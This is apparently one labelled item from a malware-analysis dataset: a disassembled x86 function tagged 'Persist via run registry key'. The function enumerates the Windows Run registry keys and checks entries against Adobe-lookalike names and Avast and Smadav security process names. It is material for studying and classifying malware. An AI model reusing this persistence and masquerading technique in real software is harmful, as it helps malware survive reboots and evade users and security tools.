Function at 0x100305ca
Capabilities:
Persist via run registry key

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x66c
mov eax, dword [esp + 0x680]
mov ecx, dword [esp + 0x684]
movsd xmm0, qword [0x1004293c]
movsd qword [esp + 0x5e], xmm0
movups xmm0, xmmword [str.AAM_Update]
movups xmmword [esp + 0x50], xmm0
movzx edx, word [0x10042954]
mov word [esp + 0x38], dx
movups xmm0, xmmword [str.AcroRd32]
movups xmmword [esp + 0x28], xmm0
mov edx, dword [0x10042966]
mov dword [esp + 0x4c], edx
movups xmm0, xmmword [str.acrotrays]
movups xmmword [esp + 0x3c], xmm0
movups xmm0, xmmword [0x10042974]
movups xmmword [esp + 0xea], xmm0
movups xmm0, xmmword [str.Acrobat_Read]
movups xmmword [esp + 0xe0], xmm0
movups xmm0, xmmword [0x1004298e]
movups xmmword [esp + 0xce], xmm0
movups xmm0, xmmword [str.Acrodat_Read]
movups xmmword [esp + 0xc4], xmm0
movups xmm0, xmmword [0x100429a8]
movups xmmword [esp + 0xb2], xmm0
movups xmm0, xmmword [str.acrodat_Read]
movups xmmword [esp + 0xa8], xmm0
movzx edx, word [0x100429c8]
mov word [esp + 0x24], dx
movups xmm0, xmmword [str.AvastSvc]
movups xmmword [esp + 0x14], xmm0
movups xmm0, xmmword [str.AvastNM]
movups xmmword [esp + 0x98], xmm0
movups xmm0, xmmword [str.EWSProx]
movups xmmword [esp + 0x88], xmm0
movups xmm0, xmmword [str.SmadavP]
movups xmmword [esp + 0x78], xmm0
movups xmm0, xmmword [str.SmadavS]
movups xmmword [esp + 0x68], xmm0
xor esi, esi
lea edx, [esp + 8]
mov dword [edx], esi
push edx
push 0x20019
push esi
push ecx
push eax
call fcn.10019d56
mov dword [esp + 0x10], eax
test eax, eax
jne 0x1003073f
lea edi, [esp + 0x464]
push 0x208
push esi
push edi
call fcn.10031f20
add esp, 0xc
mov ebx, 0x104
mov eax, esp
mov dword [eax], ebx
lea ebp, [esp + 0xfc]
push ebx
push esi
push ebp
call fcn.10031f20
add esp, 0xc
lea eax, [esp + 4]
mov dword [eax], ebx
push eax
push ebp
push esi
push esi
lea eax, [esp + 0x10]
push eax
push edi
push esi
push dword [esp + 0x24]
call fcn.100309c8
test eax, eax
je 0x1003075c
mov eax, dword [esp + 8]
test eax, eax
je 0x1003074d
push eax
call fcn.10019b56
mov eax, dword [esp + 0x10]
add esp, 0x66c
pop esi
pop edi
pop ebx
pop ebp
ret
xor ebx, ebx
lea esi, [esp + 0x25c]
mov dword [esp + 0xc], 0
lea ebp, [esp + 0x50]
push ebp
call fcn.10002bee
add eax, eax
push eax
push ebp
push edi
call fcn.10032eb7
add esp, 0xc
test eax, eax
je 0x100308c1
lea ebp, [esp + 0x28]
push ebp
call fcn.10002bee
add eax, eax
push eax
push ebp
push edi
call fcn.10032eb7
add esp, 0xc
test eax, eax
je 0x100308c1
lea ebp, [esp + 0x3c]
push ebp
call fcn.10002bee
add eax, eax
push eax
push ebp
push edi
call fcn.10032eb7
add esp, 0xc
test eax, eax
je 0x100308c1
lea ebp, [esp + 0xe0]
push ebp
call fcn.10002bee
add eax, eax
push eax
push ebp
push edi
call fcn.10032eb7
add esp, 0xc
test eax, eax
je 0x100308c1
lea ebp, [esp + 0xc4]
push ebp
call fcn.10002bee
add eax, eax
push eax
push ebp
push edi
call fcn.10032eb7
add esp, 0xc
test eax, eax
je 0x100308c1
lea ebp, [esp + 0xa8]
push ebp
call fcn.10002bee
add eax, eax
push eax
push ebp
push edi
call fcn.10032eb7
add esp, 0xc
test eax, eax
je 0x100308c1
lea ebp, [esp + 0x98]
push ebp
call fcn.10002bee
add eax, eax
push eax
push ebp
push edi
call fcn.10032eb7
add esp, 0xc
test eax, eax
je 0x100308c1
lea ebp, [esp + 0x14]
push ebp
call fcn.10002bee
add eax, eax
push eax
push ebp
push edi
call fcn.10032eb7
add esp, 0xc
test eax, eax
je 0x100308c1
lea ebp, [esp + 0x78]
push ebp
call fcn.10002bee
add eax, eax
push eax
push ebp
push edi
call fcn.10032eb7
add esp, 0xc
test eax, eax
je 0x100308c1
lea ebp, [esp + 0x68]
push ebp
call fcn.10002bee
add eax, eax
push eax
push ebp
push edi
call fcn.10032eb7
add esp, 0xc
test eax, eax
je 0x100308c1
lea ebp, [esp + 0x88]
push ebp
call fcn.10002bee
add eax, eax
push eax
push ebp
push edi
call fcn.10032eb7
add esp, 0xc
test eax, eax
jne 0x1003099a
push 0x208
push 0
push esi
call fcn.10031f20
add esp, 0xc
lea eax, [esp + 0xfc]
push eax
push 0x10040510
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x5c
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea ebp, [esp + 0x208]
push ebp
call fcn.100318d0
add esp, 0xc
push edi
push ebp
push 0x80000002
call fcn.10019d12
add esp, 0xc
push edi
push ebp
push 0x80000001
call fcn.10019d12
add esp, 0xc
cmp byte [esp + 0xfc], 0x22
jne 0x1003093f
push 0x5c
lea ebx, [esp + 0x262]
push ebx
call fcn.100323bb
add esp, 8
mov ecx, ebx
xor ebx, ebx
jmp 0x1003094c
push 0x5c
push esi
call fcn.100323bb
add esp, 8
mov ecx, esi
test eax, eax
je 0x10030956
mov word [eax + 2], 0
push ecx
call fcn.10014d58
add esp, 4
mov eax, 0x104
mov dword [esp], eax
mov dword [esp + 4], eax
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x100]
push eax
push ebx
push ebx
lea eax, [esp + 0x10]
push eax
push edi
push dword [esp + 0x24]
push dword [esp + 0x24]
call fcn.100309c8
test eax, eax
je 0x1003076d
jmp 0x1003073f
mov ecx, dword [esp + 0xc]
inc ecx
mov eax, 0x104
mov dword [esp], eax
mov dword [esp + 4], eax
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x100]
push eax
push ebx
push ebx
lea eax, [esp + 0x10]
push eax
push edi
mov dword [esp + 0x24], ecx
push ecx
jmp 0x10030984